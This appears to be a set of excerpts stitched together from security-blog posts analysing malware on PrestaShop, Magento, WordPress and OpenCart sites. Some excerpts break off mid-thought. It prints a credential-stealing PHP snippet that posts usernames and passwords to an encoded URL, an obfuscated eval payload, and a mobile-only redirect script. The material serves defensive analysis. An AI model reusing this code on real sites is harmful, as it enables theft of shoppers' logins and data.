Lately, we’ve noticed an increase of login credentials stealing attempts and techniques targeting e-commerce based websites. These websites usually have sensitive information (credit card & back-end credentials) that would allow attackers to take advantage of the information & infected website.

This post will uncover a different technique being used against PrestaShop solutions. The technique varies from the one we described in this blog post here.

In this case, attackers also used the ‘./controllers/admin/AdminLoginController.php’ file but they injected a different malicious code:

eval(gzinflate(base64_decode("VZBvS8MwEMbfD/YdjlJICz<CONTENT EDITED>UfYHOdgoOBMMc2fGNdObtLF82f9d5p/AQ==")));

Here is the decoded version of the malicious code:

While investigating a compromised Magento-based ecommerce website, we found a malicious code that’s being used to steal and maintain unauthorized access to user accounts.

This malicious code was found inside the ./app/code/core/Mage/Admin/Model/Session.php core file and it’s posting the stolen credentials to a malicious URL every time a user tries to log into their own account:

$post = $_SERVER['HTTP_HOST']."=".base64_encode(json_encode(array($username,$password,$
user->getEmail(),Mage::helper('core/url')->getCurrentUrl()))); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, base64_decode(REMOVED MALICIOUS CODE)); curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $output = curl_exec($ch); curl_close($ch);

The above malicious code is sending and posting the stolen username & password to the encoded URL in that part of the code: base64_decode(REMOVED MALICIOUS CODE));

This is a base64_decode code and in that case it was sending and posting the information to this malicious URL:


Customer personal information (including their full name, email address, physical address which may also have any stored credit cards and payment information) are considered to be compromised and leaked.

The hacker may also redirect the payments to their own PayPal account or to any other payment gateways to steal money too, as long as they have full control over the administration panel of the Magento website.

Such attacks may have a severe and negative impact on your business reputation and customer's trust.

It’s always a good practice to keep your website updated and properly maintained as well as using applications, themes, and extensions/plugins from trusted sources only.

It’s time now to secure your website from hackers!

It’s quite common for attackers to compromise your website and make use of it for their phishing campaigns. The most typical method they use is to simply place redirects throughout your site or simply upload entire phishing folders so that your website becomes an actual phishing platform.

When the hosting finds any bad content there they usually take the swiftest action and just suspend your service until the matter is resolved. But what if the compromise started at a different level? Let’s say, the server’s error documents?

During an incident response process, we found a very interesting malicious code abusing some PHP tricks. Attackers placed the malware at the end of a WordPress core file ‘./wp-includes/pomo/entry.php’:

Lately we’ve seen more backdoors that have some specific characteristics, like using several spaces between the code and processing information coming from POST requests. Attackers use the “spacing” technique to avoid visual detection in text editors when the “word wrapping” function is deactivated.

The backdoors we are discussing today have been found mainly in WordPress platforms. Although they may have different names and can be placed in different directories, most of them can be found residing on the website’s root having a name like framework.lovely.php, framework.railroad.php, framework.ping.php and so on.

With so many open-source ecommerce platforms available in the market, creating an online shop is as easy as ABC. In less than five minutes you can set up your very own online storefront and offer physical and digital products for sale.

In this note I will present a malware infection on OpenCart, a powerful e-commerce shopping cart that provides great tools with minimal investment. Although its platform is simple to install and use, it doesn’t mean that you are protected against different kinds of malicious codes focused on intercepting and stealing sensitive data from your customers (credit card).

A few days ago, colleagues from White Fir Design disclosed an arbitrary file upload vulnerability in the WP Marketplace plugin and helped remove it from the official repository (at least until a patched version becomes available). They mentioned that they noticed attempts to exploit vulnerabilities of that plugin in the wild. Specifically, they noticed requests to the /wp-content/plugins/wpmarketplace/css/extends_page.css file - this way hackers could figure out whether the plugin was installed or not.

We checked our Website Firewall logs and confirmed that the WP Marketplace vulnerability is now a part of a hacker's toolkit. When they detect sites with the installed plugin, they try to exploit the vulnerability and upload backdoors.

Every day we find many Magento credit card stealers injected into different files: modules, core files, themes. Magento database is not an an exception.

For example, this credit card stealer was found in the core_config_data table. The obfuscated database injection begins with the following code:

The most typical reasons for Magento websites to get compromised are to steal credit card information or to find a way to divert payments to the attackers accounts but recently we have found a completely different objective that can be destructive for the reputation of your website.

When attackers exploit a vulnerability in your store and get admin user permissions, they can easily add new comments to all orders (both completed and pending). Magento emails the comments to customers and hackers abuse this feature to send out phishing emails.

Here is what they currently send out:

With the outburst of mobile-only malware, we’re seeing a lot of mobile-devices targeted campaigns in last years. There are lot of ways how to make sure that the malware / redirect will be activated only on such a device, including mobile-platform UserAgent detection and similar.

Our analyst Douglas Santos noticed, however, one unbelievably simple method. What’s the main difference between mobile and your computer? Yes, the screen size…

<script type="text/javascript"> 
if (screen.width <= 480) {
window.location = "http://malicious-domain-replaced.com/43ee0b11-0ec3-4bcf-b6a7-7f14895df667";

The redirect was activated only when the site with it was opened on a small screen (which is a really nice indicator of a mobile device).

Mobile times are here and the attackers know that. We should be aware of our devices security and that each of us is targeted through our little electronic friends. As webmasters, we should know that if we don’t see malware on their sites maybe it’s just because the malware targets a different device. Stay safe!
